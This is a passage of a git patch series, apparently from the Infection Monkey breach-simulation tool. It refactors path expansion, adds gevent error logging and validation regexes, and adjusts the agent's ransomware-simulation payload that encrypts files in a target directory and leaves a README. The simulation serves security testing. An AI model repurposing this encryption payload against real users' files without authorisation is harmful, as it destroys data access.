+from monkey_island.cc.server_utils.consts import GEVENT_EXCEPTION_LOG # noqa: E402 from monkey_island.cc.server_utils.encryptor import initialize_encryptor # noqa: E402 from monkey_island.cc.server_utils.island_logger import reset_logger, setup_logging # noqa: E402 from monkey_island.cc.services.initialize import initialize_services # noqa: E402 from monkey_island.cc.services.reporting.exporter_init import populate_exporter_list # noqa: E402 from monkey_island.cc.services.utils.network_utils import local_ip_addresses # noqa: E402 from monkey_island.cc.setup import island_config_options_validator # noqa: E402 +from monkey_island.cc.setup.gevent_hub_error_handler import GeventHubErrorHandler # noqa: E402 from monkey_island.cc.setup.island_config_options import IslandConfigOptions # noqa: E402 from monkey_island.cc.setup.mongo.database_initializer import init_collections # noqa: E402 from monkey_island.cc.setup.mongo.mongo_setup import ( # noqa: E402 @@ -54,6 +58,7 @@ def run_monkey_island(): connect_to_mongodb() + _configure_gevent_exception_handling(Path(config_options.data_dir)) _start_island_server(island_args.setup_only, config_options) @@ -88,6 +93,18 @@ def _initialize_globals(config_options: IslandConfigOptions, server_config_path: initialize_services(config_options.data_dir) +def _configure_gevent_exception_handling(data_dir): + hub = gevent.hub.get_hub() + + gevent_exception_log = open(data_dir / GEVENT_EXCEPTION_LOG, "w+", buffering=1) + atexit.register(gevent_exception_log.close) + + # Send gevent's exception output to a log file. + # https://www.gevent.org/api/gevent.hub.html#gevent.hub.Hub.exception_stream + hub.exception_stream = gevent_exception_log + hub.handle_error = GeventHubErrorHandler(hub, logger) + + def _start_island_server(should_setup_only, config_options: IslandConfigOptions): populate_exporter_list() app = init_app(MONGO_URL) diff --git a/monkey/monkey_island/cc/server_utils/consts.py b/monkey/monkey_island/cc/server_utils/consts.py index 13e0c66e46b..28391279bec 100644 --- a/monkey/monkey_island/cc/server_utils/consts.py +++ b/monkey/monkey_island/cc/server_utils/consts.py @@ -52,3 +52,5 @@ def _get_monkey_island_abs_path() -> str: "ssl_certificate_file": DEFAULT_CRT_PATH, "ssl_certificate_key_file": DEFAULT_KEY_PATH, } + +GEVENT_EXCEPTION_LOG = "gevent_exceptions.log" diff --git a/vulture_allowlist.py b/vulture_allowlist.py index 564f238ab6d..618fabaa63c 100644 --- a/vulture_allowlist.py +++ b/vulture_allowlist.py @@ -170,6 +170,7 @@ MONKEY_LINUX_RUNNING # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:26) import_status # monkey_island\cc\resources\configuration_import.py:19 config_schema # monkey_island\cc\resources\configuration_import.py:25 +exception_stream # unused attribute (monkey_island/cc/server_setup.py:104) # these are not needed for it to work, but may be useful extra information to understand what's going on WINDOWS_PBA_TYPE # unused variable (monkey/monkey_island/cc/resources/pba_file_upload.py:23) From e91d7a62824526b63d43a72d4063c8f11b084639 Mon Sep 17 00:00:00 2001 From: Shreya Date: Tue, 6 Jul 2021 19:04:42 +0530 Subject: [PATCH 1018/1360] agent: Change type hint for FileEncryption's `__init__()`'s `filepath` --- monkey/infection_monkey/telemetry/file_encryption_telem.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/telemetry/file_encryption_telem.py b/monkey/infection_monkey/telemetry/file_encryption_telem.py index 7ecdd6ec0ce..7f18867ab32 100644 --- a/monkey/infection_monkey/telemetry/file_encryption_telem.py +++ b/monkey/infection_monkey/telemetry/file_encryption_telem.py @@ -1,3 +1,5 @@ +from pathlib import Path + from common.common_consts.telem_categories import TelemCategoryEnum from infection_monkey.telemetry.base_telem import BaseTelem from infection_monkey.telemetry.batchable_telem_mixin import BatchableTelemMixin @@ -5,7 +7,7 @@ class FileEncryptionTelem(BatchableTelemMixin, IBatchableTelem, BaseTelem): - def __init__(self, filepath: str, success: bool, error: str): + def __init__(self, filepath: Path, success: bool, error: str): """ File Encryption telemetry constructor :param filepath: The path to the file that monkey attempted to encrypt From f8a062876c489c79334b5dfe92698f7746ee9804 Mon Sep 17 00:00:00 2001 From: Shreya Date: Tue, 6 Jul 2021 19:07:53 +0530 Subject: [PATCH 1019/1360] agent: Create `file_utils.py` and add `expand_path()` to it --- monkey/infection_monkey/utils/file_utils.py | 5 +++++ 1 file changed, 5 insertions(+) create mode 100644 monkey/infection_monkey/utils/file_utils.py diff --git a/monkey/infection_monkey/utils/file_utils.py b/monkey/infection_monkey/utils/file_utils.py new file mode 100644 index 00000000000..225fb8732a0 --- /dev/null +++ b/monkey/infection_monkey/utils/file_utils.py @@ -0,0 +1,5 @@ +import os + + +def expand_path(path: str) -> str: + return os.path.expandvars(os.path.expanduser(path)) From dc305d8e1682d8391165656ad16b487c72b21eb7 Mon Sep 17 00:00:00 2001 From: Shreya Date: Mon, 5 Jul 2021 15:22:20 +0530 Subject: [PATCH 1020/1360] cc: Add validation format (starts wih `~`) for ransomware linux target directory --- .../components/configuration-components/ValidationFormats.js | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/ui/src/components/configuration-components/ValidationFormats.js b/monkey/monkey_island/cc/ui/src/components/configuration-components/ValidationFormats.js index 1038c45a23b..540942f8080 100644 --- a/monkey/monkey_island/cc/ui/src/components/configuration-components/ValidationFormats.js +++ b/monkey/monkey_island/cc/ui/src/components/configuration-components/ValidationFormats.js @@ -4,6 +4,7 @@ const hostnameRegex = '^([A-Za-z0-9]*[A-Za-z]+[A-Za-z0-9]*.?)*([A-Za-z0-9]*[A-Za const linuxAbsolutePathRegex = '^/' // path starts with `/` const linuxPathStartsWithEnvVariableRegex = '^\\$' // path starts with `$` +const linuxPathStartsWithTilde = '^~' // path starts with `~` const windowsAbsolutePathRegex = '^([A-Za-z]:(\\\\|\\/))' // path starts like `C:\` OR `C:/` const windowsPathStartsWithEnvVariableRegex = '^\\$|^(%\\w*\\d*\\s*%)' // path starts like `$` OR `%abc%` @@ -40,7 +41,8 @@ function buildValidRansomwarePathLinuxRegex() { return new RegExp([ whitespacesOnlyRegex, linuxAbsolutePathRegex, - linuxPathStartsWithEnvVariableRegex + linuxPathStartsWithEnvVariableRegex, + linuxPathStartsWithTilde ].join('|')) } From df6082b50a14ae5721f2e1a743abdffdca11ac66 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 5 Jul 2021 13:46:01 -0400 Subject: [PATCH 1021/1360] Island: Refactor linux/windows ransomware path regexes Refactored because the escape characters were cumbersome and difficult to read when regexes were defined as strings. Also allow special characters in Windows environment variable names as per https://ss64.com/nt/syntax-variables.html --- .../ValidationFormats.js | 31 +++++++++++-------- 1 file changed, 18 insertions(+), 13 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/configuration-components/ValidationFormats.js b/monkey/monkey_island/cc/ui/src/components/configuration-components/ValidationFormats.js index 540942f8080..6c4ba15a187 100644 --- a/monkey/monkey_island/cc/ui/src/components/configuration-components/ValidationFormats.js +++ b/monkey/monkey_island/cc/ui/src/components/configuration-components/ValidationFormats.js @@ -2,14 +2,19 @@ const ipRegex = '((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.){3}(25[0-5]|2[0-4][0 const cidrNotationRegex = '([0-9]|1[0-9]|2[0-9]|3[0-2])' const hostnameRegex = '^([A-Za-z0-9]*[A-Za-z]+[A-Za-z0-9]*.?)*([A-Za-z0-9]*[A-Za-z]+[A-Za-z0-9]*)$' -const linuxAbsolutePathRegex = '^/' // path starts with `/` -const linuxPathStartsWithEnvVariableRegex = '^\\$' // path starts with `$` -const linuxPathStartsWithTilde = '^~' // path starts with `~` -const windowsAbsolutePathRegex = '^([A-Za-z]:(\\\\|\\/))' // path starts like `C:\` OR `C:/` -const windowsPathStartsWithEnvVariableRegex = '^\\$|^(%\\w*\\d*\\s*%)' // path starts like `$` OR `%abc%` +const linuxAbsolutePathRegex = /^\// // path starts with `/` +const linuxPathStartsWithEnvVariableRegex = /^\$/ // path starts with `$` +const linuxPathStartsWithTildeRegex = /^~/ // path starts with `~` -const whitespacesOnlyRegex = '^\\s*$' + +const windowsAbsolutePathRegex = /^([A-Za-z]:(\\|\/))/ // path starts like `C:\` OR `C:/` +const windowsEnvVarNonNumeric = '[A-Za-z#\\$\'\\(\\)\\*\\+,-\\.\\?@\\[\\]_`\\{\\}~+ ]' +const windowsPathStartsWithEnvVariableRegex = new RegExp( + `^\\$|^%(${windowsEnvVarNonNumeric}+(${windowsEnvVarNonNumeric}|\\d)*)%` +);// path starts like `$` OR `%abc%` + +const emptyRegex = /^$/ export const IP_RANGE = 'ip-range'; @@ -39,17 +44,17 @@ function buildIpRegex(){ function buildValidRansomwarePathLinuxRegex() { return new RegExp([ - whitespacesOnlyRegex, - linuxAbsolutePathRegex, - linuxPathStartsWithEnvVariableRegex, - linuxPathStartsWithTilde + emptyRegex.source, + linuxAbsolutePathRegex.source, + linuxPathStartsWithEnvVariableRegex.source, + linuxPathStartsWithTildeRegex.source ].join('|')) } function buildValidRansomwarePathWindowsRegex() { return new RegExp([ - whitespacesOnlyRegex, - windowsAbsolutePathRegex, - windowsPathStartsWithEnvVariableRegex + emptyRegex.source, + windowsAbsolutePathRegex.source, + windowsPathStartsWithEnvVariableRegex.source ].join('|')) } From 9d4ee88e0958fb43ac95e561374e830505be91ec Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 5 Jul 2021 13:50:13 -0400 Subject: [PATCH 1022/1360] Island: Do not allow Windows ransomware target paths beginning with "$" As far as I can tell, environment variables in Windows look like %NAME%. Variables in powershell begin with $, but file explorer doesn't recognize paths beginning with $ as valid. --- .../components/configuration-components/ValidationFormats.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/ui/src/components/configuration-components/ValidationFormats.js b/monkey/monkey_island/cc/ui/src/components/configuration-components/ValidationFormats.js index 6c4ba15a187..414d6071a89 100644 --- a/monkey/monkey_island/cc/ui/src/components/configuration-components/ValidationFormats.js +++ b/monkey/monkey_island/cc/ui/src/components/configuration-components/ValidationFormats.js @@ -11,7 +11,7 @@ const linuxPathStartsWithTildeRegex = /^~/ // path starts with `~` const windowsAbsolutePathRegex = /^([A-Za-z]:(\\|\/))/ // path starts like `C:\` OR `C:/` const windowsEnvVarNonNumeric = '[A-Za-z#\\$\'\\(\\)\\*\\+,-\\.\\?@\\[\\]_`\\{\\}~+ ]' const windowsPathStartsWithEnvVariableRegex = new RegExp( - `^\\$|^%(${windowsEnvVarNonNumeric}+(${windowsEnvVarNonNumeric}|\\d)*)%` + `^%(${windowsEnvVarNonNumeric}+(${windowsEnvVarNonNumeric}|\\d)*)%` );// path starts like `$` OR `%abc%` const emptyRegex = /^$/ From d2dda4519fde7390624c71abd18a246d20cd6857 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 5 Jul 2021 13:54:04 -0400 Subject: [PATCH 1023/1360] Island: Allow Windows ransomware target paths to be UNC paths --- .../configuration-components/ValidationFormats.js | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/configuration-components/ValidationFormats.js b/monkey/monkey_island/cc/ui/src/components/configuration-components/ValidationFormats.js index 414d6071a89..d7c0a371c5a 100644 --- a/monkey/monkey_island/cc/ui/src/components/configuration-components/ValidationFormats.js +++ b/monkey/monkey_island/cc/ui/src/components/configuration-components/ValidationFormats.js @@ -12,8 +12,8 @@ const windowsAbsolutePathRegex = /^([A-Za-z]:(\\|\/))/ // path starts like `C:\` const windowsEnvVarNonNumeric = '[A-Za-z#\\$\'\\(\\)\\*\\+,-\\.\\?@\\[\\]_`\\{\\}~+ ]' const windowsPathStartsWithEnvVariableRegex = new RegExp( `^%(${windowsEnvVarNonNumeric}+(${windowsEnvVarNonNumeric}|\\d)*)%` -);// path starts like `$` OR `%abc%` - +) // path starts like `$` OR `%abc%` +const windowsUncPathRegex = /^\\{2}/ // Path starts like `\\` const emptyRegex = /^$/ @@ -55,6 +55,7 @@ function buildValidRansomwarePathWindowsRegex() { return new RegExp([ emptyRegex.source, windowsAbsolutePathRegex.source, - windowsPathStartsWithEnvVariableRegex.source + windowsPathStartsWithEnvVariableRegex.source, + windowsUncPathRegex.source ].join('|')) } From 638db3d7e07256bc1473faab0ae3f5f5992e378a Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 6 Jul 2021 06:22:24 -0400 Subject: [PATCH 1024/1360] Island: Escape '-' character in environment variable regex Co-authored-by: Shreya Malviya --- .../components/configuration-components/ValidationFormats.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/ui/src/components/configuration-components/ValidationFormats.js b/monkey/monkey_island/cc/ui/src/components/configuration-components/ValidationFormats.js index d7c0a371c5a..bac83c9f25c 100644 --- a/monkey/monkey_island/cc/ui/src/components/configuration-components/ValidationFormats.js +++ b/monkey/monkey_island/cc/ui/src/components/configuration-components/ValidationFormats.js @@ -9,7 +9,7 @@ const linuxPathStartsWithTildeRegex = /^~/ // path starts with `~` const windowsAbsolutePathRegex = /^([A-Za-z]:(\\|\/))/ // path starts like `C:\` OR `C:/` -const windowsEnvVarNonNumeric = '[A-Za-z#\\$\'\\(\\)\\*\\+,-\\.\\?@\\[\\]_`\\{\\}~+ ]' +const windowsEnvVarNonNumeric = '[A-Za-z#\\$\'\\(\\)\\*\\+,\\-\\.\\?@\\[\\]_`\\{\\}~+ ]' const windowsPathStartsWithEnvVariableRegex = new RegExp( `^%(${windowsEnvVarNonNumeric}+(${windowsEnvVarNonNumeric}|\\d)*)%` ) // path starts like `$` OR `%abc%` From 4bec9576aaf23f12b2065c24749fcb00538ec00f Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 6 Jul 2021 06:27:31 -0400 Subject: [PATCH 1025/1360] Island: Remove extra + from windows environment variable regex --- .../components/configuration-components/ValidationFormats.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/ui/src/components/configuration-components/ValidationFormats.js b/monkey/monkey_island/cc/ui/src/components/configuration-components/ValidationFormats.js index bac83c9f25c..70d9f82fdf9 100644 --- a/monkey/monkey_island/cc/ui/src/components/configuration-components/ValidationFormats.js +++ b/monkey/monkey_island/cc/ui/src/components/configuration-components/ValidationFormats.js @@ -9,7 +9,7 @@ const linuxPathStartsWithTildeRegex = /^~/ // path starts with `~` const windowsAbsolutePathRegex = /^([A-Za-z]:(\\|\/))/ // path starts like `C:\` OR `C:/` -const windowsEnvVarNonNumeric = '[A-Za-z#\\$\'\\(\\)\\*\\+,\\-\\.\\?@\\[\\]_`\\{\\}~+ ]' +const windowsEnvVarNonNumeric = '[A-Za-z#\\$\'\\(\\)\\*\\+,\\-\\.\\?@\\[\\]_`\\{\\}~ ]' const windowsPathStartsWithEnvVariableRegex = new RegExp( `^%(${windowsEnvVarNonNumeric}+(${windowsEnvVarNonNumeric}|\\d)*)%` ) // path starts like `$` OR `%abc%` From ded6ce0cd0b5bdf4954b005bd1a2b5739f4ce107 Mon Sep 17 00:00:00 2001 From: Shreya Date: Tue, 6 Jul 2021 19:08:42 +0530 Subject: [PATCH 1026/1360] agent: Use `expand_path()` instead of `os.path` functions in ransomware payload --- .../ransomware/ransomware_payload.py | 16 +++++++++------- 1 file changed, 9 insertions(+), 7 deletions(-) diff --git a/monkey/infection_monkey/ransomware/ransomware_payload.py b/monkey/infection_monkey/ransomware/ransomware_payload.py index ac15bfa5ae5..f3eece669e7 100644 --- a/monkey/infection_monkey/ransomware/ransomware_payload.py +++ b/monkey/infection_monkey/ransomware/ransomware_payload.py @@ -1,5 +1,4 @@ import logging -import os import shutil from pathlib import Path from pprint import pformat @@ -11,6 +10,7 @@ from infection_monkey.telemetry.file_encryption_telem import FileEncryptionTelem from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger from infection_monkey.utils.environment import is_windows_os +from infection_monkey.utils.file_utils import expand_path LOG = logging.getLogger(__name__) @@ -29,10 +29,12 @@ def __init__(self, config: dict, telemetry_messenger: ITelemetryMessenger): self._readme_enabled = config["other_behaviors"]["readme"] target_directories = config["encryption"]["directories"] - self._target_dir = ( - target_directories["windows_target_dir"] - if is_windows_os() - else target_directories["linux_target_dir"] + self._target_dir = Path( + expand_path( + target_directories["windows_target_dir"] + if is_windows_os() + else target_directories["linux_target_dir"] + ) ) self._new_file_extension = EXTENSION @@ -56,7 +58,7 @@ def _find_files(self) -> List[Path]: return [] return select_production_safe_target_files( - Path(os.path.expandvars(self._target_dir)), self._valid_file_extensions_for_encryption + self._target_dir, self._valid_file_extensions_for_encryption ) def _encrypt_files(self, file_list: List[Path]) -> List[Tuple[Path, Optional[Exception]]]: @@ -85,7 +87,7 @@ def _send_telemetry(self, filepath: Path, success: bool, error: str): def _leave_readme(self): if self._readme_enabled: - readme_dest_path = Path(os.path.expandvars(self._target_dir)) / README_DEST + readme_dest_path = self._target_dir / README_DEST LOG.info(f"Leaving a ransomware README file at {readme_dest_path}") try: From d0a94e6223cebbb6ae780489e01233aad0d05448 Mon Sep 17 00:00:00 2001 From: Shreya Date: Tue, 6 Jul 2021 19:38:10 +0530 Subject: [PATCH 1027/1360] agent, common, island: Move file util `expand_path` to `common/` --- monkey/{infection_monkey => common}/utils/file_utils.py | 0 monkey/monkey_island/cc/server_utils/file_utils.py | 4 ---- 2 files changed, 4 deletions(-) rename monkey/{infection_monkey => common}/utils/file_utils.py (100%) diff --git a/monkey/infection_monkey/utils/file_utils.py b/monkey/common/utils/file_utils.py similarity index 100% rename from monkey/infection_monkey/utils/file_utils.py rename to monkey/common/utils/file_utils.py diff --git a/monkey/monkey_island/cc/server_utils/file_utils.py b/monkey/monkey_island/cc/server_utils/file_utils.py index e429eb46465..9013cd5f882 100644 --- a/monkey/monkey_island/cc/server_utils/file_utils.py +++ b/monkey/monkey_island/cc/server_utils/file_utils.py @@ -20,10 +20,6 @@ def is_windows_os() -> bool: import monkey_island.cc.server_utils.windows_permissions as windows_permissions -def expand_path(path: str) -> str: - return os.path.expandvars(os.path.expanduser(path)) - - def create_secure_directory(path: str): if not os.path.isdir(path): if is_windows_os(): From 6622fc0ff5bc81949a55b04988fdba38bfb2191c Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 6 Jul 2021 10:10:33 -0400 Subject: [PATCH 1028/1360] Island: Do not set state from props in RansomwareReport --- .../components/report-components/RansomwareReport.js | 10 +--------- 1 file changed, 1 insertion(+), 9 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/RansomwareReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/RansomwareReport.js index 31629fbf0cd..86ba1ebf461 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/RansomwareReport.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/RansomwareReport.js @@ -4,16 +4,8 @@ import ReportHeader, {ReportTypes} from './common/ReportHeader'; import ReportLoader from './common/ReportLoader'; class RansomwareReport extends React.Component { - - constructor(props) { - super(props); - this.state = { - report: props.report - }; - } - stillLoadingDataFromServer() { - return Object.keys(this.state.report).length === 0; + return Object.keys(this.props.report).length === 0; } generateReportContent() { From 96c3a2ed121758bcd8ce101b0cc9efaaedf946bb Mon Sep 17 00:00:00 2001 From: Shreya Date: Tue, 6 Jul 2021 19:45:08 +0530 Subject: [PATCH 1029/1360] agent, island: Replace import path for `expand_path()` everywhere --- monkey/infection_monkey/ransomware/ransomware_payload.py | 2 +- monkey/monkey_island/cc/server_utils/consts.py | 6 +++--- monkey/monkey_island/cc/setup/config_setup.py | 4 ++-- monkey/monkey_island/cc/setup/island_config_options.py | 2 +- 4 files changed, 7 insertions(+), 7 deletions(-) diff --git a/monkey/infection_monkey/ransomware/ransomware_payload.py b/monkey/infection_monkey/ransomware/ransomware_payload.py index f3eece669e7..a58b5054582 100644 --- a/monkey/infection_monkey/ransomware/ransomware_payload.py +++ b/monkey/infection_monkey/ransomware/ransomware_payload.py @@ -4,13 +4,13 @@ from pprint import pformat from typing import List, Optional, Tuple +from common.utils.file_utils import expand_path from infection_monkey.ransomware.bitflip_encryptor import BitflipEncryptor from infection_monkey.ransomware.file_selectors import select_production_safe_target_files from infection_monkey.ransomware.targeted_file_extensions import TARGETED_FILE_EXTENSIONS from infection_monkey.telemetry.file_encryption_telem import FileEncryptionTelem from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger from infection_monkey.utils.environment import is_windows_os -from infection_monkey.utils.file_utils import expand_path LOG = logging.getLogger(__name__) diff --git a/monkey/monkey_island/cc/server_utils/consts.py b/monkey/monkey_island/cc/server_utils/consts.py index 13e0c66e46b..90ca0252a99 100644 --- a/monkey/monkey_island/cc/server_utils/consts.py +++ b/monkey/monkey_island/cc/server_utils/consts.py @@ -1,7 +1,7 @@ import os from pathlib import Path -from monkey_island.cc.server_utils import file_utils +from common.utils.file_utils import expand_path from monkey_island.cc.server_utils.file_utils import is_windows_os __author__ = "itay.mizeretz" @@ -26,7 +26,7 @@ def _get_monkey_island_abs_path() -> str: MONKEY_ISLAND_ABS_PATH = _get_monkey_island_abs_path() -DEFAULT_DATA_DIR = file_utils.expand_path(get_default_data_dir()) +DEFAULT_DATA_DIR = expand_path(get_default_data_dir()) DEFAULT_MONKEY_TTL_EXPIRY_DURATION_IN_SECONDS = 60 * 5 @@ -37,7 +37,7 @@ def _get_monkey_island_abs_path() -> str: _MONGO_EXECUTABLE_PATH_WIN if is_windows_os() else _MONGO_EXECUTABLE_PATH_LINUX ) -DEFAULT_SERVER_CONFIG_PATH = file_utils.expand_path( +DEFAULT_SERVER_CONFIG_PATH = expand_path( os.path.join(MONKEY_ISLAND_ABS_PATH, "cc", SERVER_CONFIG_FILENAME) ) diff --git a/monkey/monkey_island/cc/setup/config_setup.py b/monkey/monkey_island/cc/setup/config_setup.py index 657ffaac503..c850bf96f95 100644 --- a/monkey/monkey_island/cc/setup/config_setup.py +++ b/monkey/monkey_island/cc/setup/config_setup.py @@ -1,8 +1,8 @@ from typing import Tuple +from common.utils.file_utils import expand_path from monkey_island.cc.arg_parser import IslandCmdArgs from monkey_island.cc.environment import server_config_handler -from monkey_island.cc.server_utils import file_utils from monkey_island.cc.server_utils.consts import DEFAULT_SERVER_CONFIG_PATH from monkey_island.cc.server_utils.file_utils import create_secure_directory from monkey_island.cc.setup.island_config_options import IslandConfigOptions @@ -16,7 +16,7 @@ def setup_data_dir(island_args: IslandCmdArgs) -> Tuple[IslandConfigOptions, str def _setup_config_by_cmd_arg(server_config_path) -> Tuple[IslandConfigOptions, str]: - server_config_path = file_utils.expand_path(server_config_path) + server_config_path = expand_path(server_config_path) config = server_config_handler.load_server_config_from_file(server_config_path) create_secure_directory(config.data_dir) return config, server_config_path diff --git a/monkey/monkey_island/cc/setup/island_config_options.py b/monkey/monkey_island/cc/setup/island_config_options.py index 9704e5f4553..66a49306ad2 100644 --- a/monkey/monkey_island/cc/setup/island_config_options.py +++ b/monkey/monkey_island/cc/setup/island_config_options.py @@ -1,5 +1,6 @@ from __future__ import annotations +from common.utils.file_utils import expand_path from monkey_island.cc.server_utils.consts import ( DEFAULT_CERTIFICATE_PATHS, DEFAULT_CRT_PATH, @@ -8,7 +9,6 @@ DEFAULT_LOG_LEVEL, DEFAULT_START_MONGO_DB, ) -from monkey_island.cc.server_utils.file_utils import expand_path class IslandConfigOptions: From c802914cf68ab5bf81552cdf3e20164dd888d1bf Mon Sep 17 00:00:00 2001 From: Shreya Date: Tue, 6 Jul 2021 19:46:02 +0530 Subject: [PATCH 1030/1360] tests: Update tests according to previous changes with `expand_path()` --- .../unit_tests/common/utils/test_file_utils.py | 17 +++++++++++++++++ .../cc/server_utils/test_file_utils.py | 15 --------------- 2 files changed, 17 insertions(+), 15 deletions(-) create mode 100644 monkey/tests/unit_tests/common/utils/test_file_utils.py diff --git a/monkey/tests/unit_tests/common/utils/test_file_utils.py b/monkey/tests/unit_tests/common/utils/test_file_utils.py new file mode 100644 index 00000000000..b0f7c5862d1 --- /dev/null +++ b/monkey/tests/unit_tests/common/utils/test_file_utils.py @@ -0,0 +1,17 @@ +import os + +from common.utils.file_utils import expand_path + + +def test_expand_user(mock_home_env): + input_path = os.path.join("~", "test") + expected_path = os.path.join(mock_home_env, "test") + + assert expand_path(input_path) == expected_path + + +def test_expand_vars(mock_home_env): + input_path = os.path.join("$HOME", "test") + expected_path = os.path.join(mock_home_env, "test") + + assert expand_path(input_path) == expected_path diff --git a/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_file_utils.py b/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_file_utils.py index 444e2ca17dd..6605673d00b 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_file_utils.py +++ b/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_file_utils.py @@ -6,26 +6,11 @@ from monkey_island.cc.server_utils.file_utils import ( create_secure_directory, - expand_path, is_windows_os, open_new_securely_permissioned_file, ) -def test_expand_user(patched_home_env): - input_path = os.path.join("~", "test") - expected_path = os.path.join(patched_home_env, "test") - - assert expand_path(input_path) == expected_path - - -def test_expand_vars(patched_home_env): - input_path = os.path.join("$HOME", "test") - expected_path = os.path.join(patched_home_env, "test") - - assert expand_path(input_path) == expected_path - - @pytest.fixture def test_path_nested(tmpdir): path = os.path.join(tmpdir, "test1", "test2", "test3") From 53faf5a3dba01acf11d603b9859ff93393b96394 Mon Sep 17 00:00:00 2001 From: Shreya Date: Tue, 6 Jul 2021 19:58:24 +0530 Subject: [PATCH 1031/1360] tests: Rename test file to avoid "import name mismatch" error by pytest --- .../utils/{test_file_utils.py => test_common_file_utils.py} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename monkey/tests/unit_tests/common/utils/{test_file_utils.py => test_common_file_utils.py} (100%) diff --git a/monkey/tests/unit_tests/common/utils/test_file_utils.py b/monkey/tests/unit_tests/common/utils/test_common_file_utils.py similarity index 100% rename from monkey/tests/unit_tests/common/utils/test_file_utils.py rename to monkey/tests/unit_tests/common/utils/test_common_file_utils.py From 5ac574bd17808be8385be5693edd9efdf4a29913 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 6 Jul 2021 11:29:42 -0400 Subject: [PATCH 1032/1360] Tests: Fix failing expand_path() tests --- .../unit_tests/common/utils/test_common_file_utils.py | 8 ++++---- monkey/tests/unit_tests/conftest.py | 8 ++++++++ monkey/tests/unit_tests/monkey_island/conftest.py | 7 ------- 3 files changed, 12 insertions(+), 11 deletions(-) create mode 100644 monkey/tests/unit_tests/conftest.py diff --git a/monkey/tests/unit_tests/common/utils/test_common_file_utils.py b/monkey/tests/unit_tests/common/utils/test_common_file_utils.py index b0f7c5862d1..226a403b8b8 100644 --- a/monkey/tests/unit_tests/common/utils/test_common_file_utils.py +++ b/monkey/tests/unit_tests/common/utils/test_common_file_utils.py @@ -3,15 +3,15 @@ from common.utils.file_utils import expand_path -def test_expand_user(mock_home_env): +def test_expand_user(patched_home_env): input_path = os.path.join("~", "test") - expected_path = os.path.join(mock_home_env, "test") + expected_path = os.path.join(patched_home_env, "test") assert expand_path(input_path) == expected_path -def test_expand_vars(mock_home_env): +def test_expand_vars(patched_home_env): input_path = os.path.join("$HOME", "test") - expected_path = os.path.join(mock_home_env, "test") + expected_path = os.path.join(patched_home_env, "test") assert expand_path(input_path) == expected_path diff --git a/monkey/tests/unit_tests/conftest.py b/monkey/tests/unit_tests/conftest.py new file mode 100644 index 00000000000..a779d65fd77 --- /dev/null +++ b/monkey/tests/unit_tests/conftest.py @@ -0,0 +1,8 @@ +import pytest + + +@pytest.fixture +def patched_home_env(monkeypatch, tmpdir): + monkeypatch.setenv("HOME", str(tmpdir)) + + return tmpdir diff --git a/monkey/tests/unit_tests/monkey_island/conftest.py b/monkey/tests/unit_tests/monkey_island/conftest.py index 538576aef7c..2ccecd616db 100644 --- a/monkey/tests/unit_tests/monkey_island/conftest.py +++ b/monkey/tests/unit_tests/monkey_island/conftest.py @@ -9,13 +9,6 @@ def server_configs_dir(data_for_tests_dir): return os.path.join(data_for_tests_dir, "server_configs") -@pytest.fixture -def patched_home_env(monkeypatch, tmpdir): - monkeypatch.setenv("HOME", str(tmpdir)) - - return tmpdir - - @pytest.fixture def create_empty_tmp_file(tmpdir: str) -> Callable: def inner(file_name: str): From a512fd947acca1edd20584f4b357edb190d97426 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 6 Jul 2021 11:31:12 -0400 Subject: [PATCH 1033/1360] Tests: Return Path object from patched_home_env() fixture --- monkey/tests/unit_tests/conftest.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/monkey/tests/unit_tests/conftest.py b/monkey/tests/unit_tests/conftest.py index a779d65fd77..c57cfa6f3e5 100644 --- a/monkey/tests/unit_tests/conftest.py +++ b/monkey/tests/unit_tests/conftest.py @@ -2,7 +2,7 @@ @pytest.fixture -def patched_home_env(monkeypatch, tmpdir): - monkeypatch.setenv("HOME", str(tmpdir)) +def patched_home_env(monkeypatch, tmp_path): + monkeypatch.setenv("HOME", tmp_path) - return tmpdir + return tmp_path From 5a7778516461890fde470c66e81688917179f6ff Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 6 Jul 2021 11:56:25 -0400 Subject: [PATCH 1034/1360] Tests: Remove Path -> str implicit conversion warning --- monkey/tests/unit_tests/conftest.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/tests/unit_tests/conftest.py b/monkey/tests/unit_tests/conftest.py index c57cfa6f3e5..8e0fc96d9ab 100644 --- a/monkey/tests/unit_tests/conftest.py +++ b/monkey/tests/unit_tests/conftest.py @@ -3,6 +3,6 @@ @pytest.fixture def patched_home_env(monkeypatch, tmp_path): - monkeypatch.setenv("HOME", tmp_path) + monkeypatch.setenv("HOME", 